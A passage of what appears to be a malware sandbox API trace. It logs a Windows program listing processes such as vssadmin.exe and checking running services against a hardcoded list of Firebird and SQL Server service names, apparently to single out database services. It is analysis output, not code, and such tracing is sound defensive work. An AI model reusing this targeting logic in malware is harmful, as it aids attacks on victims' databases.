lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb70, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0218.626] lstrlenW (lpString="vssadmin.exe") returned 12 [0218.626] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0218.627] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0218.627] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0218.628] lstrlenW (lpString="VSSVC.exe") returned 9 [0218.628] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0218.629] CloseHandle (hObject=0x17c) returned 1 [0218.629] Sleep (dwMilliseconds=0x1f4) [0219.139] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5700b0 [0219.139] EnumServicesStatusExW (in: hSCManager=0x5700b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 0 [0219.139] GetLastError () returned 0xea [0219.140] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x142e) returned 0x3f1c0d8 [0219.140] EnumServicesStatusExW (in: hSCManager=0x5700b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f1c0d8, cbBufSize=0x142e, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f1c0d8, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 1 [0219.140] CloseServiceHandle (hSCObject=0x5700b0) returned 1 [0219.140] lstrlenW (lpString="Appinfo") returned 7 [0219.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0219.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0219.140] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0219.140] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0219.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0219.140] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0219.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0219.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0219.140] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0219.140] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0219.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0219.141] lstrlenW (lpString="AudioSrv") returned 8 [0219.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0219.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0219.141] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0219.141] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0219.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0219.141] lstrlenW (lpString="BFE") returned 3 [0219.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0219.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0219.141] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0219.141] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0219.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0219.141] lstrlenW (lpString="CryptSvc") returned 8 [0219.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0219.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0219.141] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0219.141] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0219.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0219.141] lstrlenW (lpString="CscService") returned 10 [0219.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0219.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0219.141] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0219.141] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0219.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0219.141] lstrlenW (lpString="DcomLaunch") returned 10 [0219.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0219.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0219.141] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0219.141] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0219.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0219.141] lstrlenW (lpString="Dhcp") returned 4 [0219.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0219.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0219.141] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0219.141] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0219.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0219.142] lstrlenW (lpString="Dnscache") returned 8 [0219.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0219.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0219.142] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0219.142] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0219.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0219.142] lstrlenW (lpString="DPS") returned 3 [0219.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0219.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0219.142] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0219.142] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0219.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0219.142] lstrlenW (lpString="eventlog") returned 8 [0219.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0219.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0219.142] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0219.142] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0219.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0219.142] lstrlenW (lpString="EventSystem") returned 11 [0219.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0219.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0219.142] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0219.142] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0219.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0219.142] lstrlenW (lpString="FontCache") returned 9 [0219.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0219.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0219.142] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0219.142] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0219.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0219.142] lstrlenW (lpString="gpsvc") returned 5 [0219.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0219.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0219.142] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0219.142] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0219.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0219.143] lstrlenW (lpString="iphlpsvc") returned 8 [0219.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0219.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0219.143] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0219.143] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0219.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0219.143] lstrlenW (lpString="LanmanServer") returned 12 [0219.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0219.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0219.143] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0219.143] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0219.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0219.143] lstrlenW (lpString="LanmanWorkstation") returned 17 [0219.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0219.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0219.143] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0219.143] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0219.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0219.143] lstrlenW (lpString="lmhosts") returned 7 [0219.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0219.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0219.143] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0219.143] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0219.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0219.143] lstrlenW (lpString="MMCSS") returned 5 [0219.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0219.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0219.143] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0219.143] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0219.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0219.143] lstrlenW (lpString="MpsSvc") returned 6 [0219.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0219.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0219.143] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0219.143] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0219.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0219.144] lstrlenW (lpString="Netman") returned 6 [0219.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0219.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0219.144] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0219.144] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0219.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0219.144] lstrlenW (lpString="netprofm") returned 8 [0219.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0219.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0219.144] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0219.144] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0219.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0219.144] lstrlenW (lpString="NlaSvc") returned 6 [0219.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0219.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0219.144] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0219.144] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0219.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0219.144] lstrlenW (lpString="nsi") returned 3 [0219.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0219.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0219.144] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0219.144] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0219.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0219.144] lstrlenW (lpString="PcaSvc") returned 6 [0219.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0219.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0219.144] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0219.144] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0219.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0219.144] lstrlenW (lpString="PlugPlay") returned 8 [0219.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0219.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0219.145] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0219.145] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0219.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0219.145] lstrlenW (lpString="Power") returned 5 [0219.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0219.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0219.145] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0219.145] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0219.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0219.145] lstrlenW (lpString="ProfSvc") returned 7 [0219.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0219.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0219.145] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0219.145] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0219.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0219.145] lstrlenW (lpString="RpcEptMapper") returned 12 [0219.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0219.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0219.145] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0219.145] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0219.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0219.145] lstrlenW (lpString="RpcSs") returned 5 [0219.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0219.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0219.145] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0219.145] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0219.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0219.145] lstrlenW (lpString="SamSs") returned 5 [0219.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0219.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0219.146] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0219.146] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0219.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0219.146] lstrlenW (lpString="Schedule") returned 8 [0219.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0219.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0219.146] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0219.146] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0219.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0219.146] lstrlenW (lpString="SENS") returned 4 [0219.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0219.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0219.146] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0219.146] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0219.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0219.146] lstrlenW (lpString="ShellHWDetection") returned 16 [0219.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0219.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0219.146] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0219.146] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0219.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0219.146] lstrlenW (lpString="Spooler") returned 7 [0219.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0219.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0219.146] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0219.146] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0219.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0219.147] lstrlenW (lpString="sppsvc") returned 6 [0219.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0219.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0219.147] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0219.147] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0219.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0219.147] lstrlenW (lpString="swprv") returned 5 [0219.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0219.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0219.147] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0219.147] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0219.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0219.147] lstrlenW (lpString="SysMain") returned 7 [0219.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0219.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0219.147] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0219.147] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0219.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0219.147] lstrlenW (lpString="Themes") returned 6 [0219.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0219.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0219.147] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0219.147] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0219.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0219.147] lstrlenW (lpString="TrkWks") returned 6 [0219.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0219.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0219.147] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0219.147] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0219.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0219.148] lstrlenW (lpString="UxSms") returned 5 [0219.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0219.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0219.148] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0219.148] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0219.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0219.148] lstrlenW (lpString="VSS") returned 3 [0219.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0219.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0219.148] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0219.148] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0219.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0219.148] lstrlenW (lpString="WdiServiceHost") returned 14 [0219.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0219.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0219.148] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0219.148] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0219.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0219.148] lstrlenW (lpString="WdiSystemHost") returned 13 [0219.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0219.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0219.148] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0219.148] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0219.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0219.148] lstrlenW (lpString="WinDefend") returned 9 [0219.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0219.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0219.148] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0219.148] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0219.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0219.148] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0219.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0219.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0219.148] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0219.148] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0219.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0219.148] lstrlenW (lpString="Winmgmt") returned 7 [0219.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0219.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0219.149] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0219.149] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0219.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0219.149] lstrlenW (lpString="wscsvc") returned 6 [0219.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0219.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0219.149] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0219.149] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0219.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0219.149] lstrlenW (lpString="wuauserv") returned 8 [0219.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0219.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0219.149] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0219.149] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0219.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0219.149] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f1c0d8 | out: hHeap=0x4f0000) returned 1 [0219.149] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0219.151] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0219.151] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0219.152] lstrlenW (lpString="System") returned 6 [0219.152] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 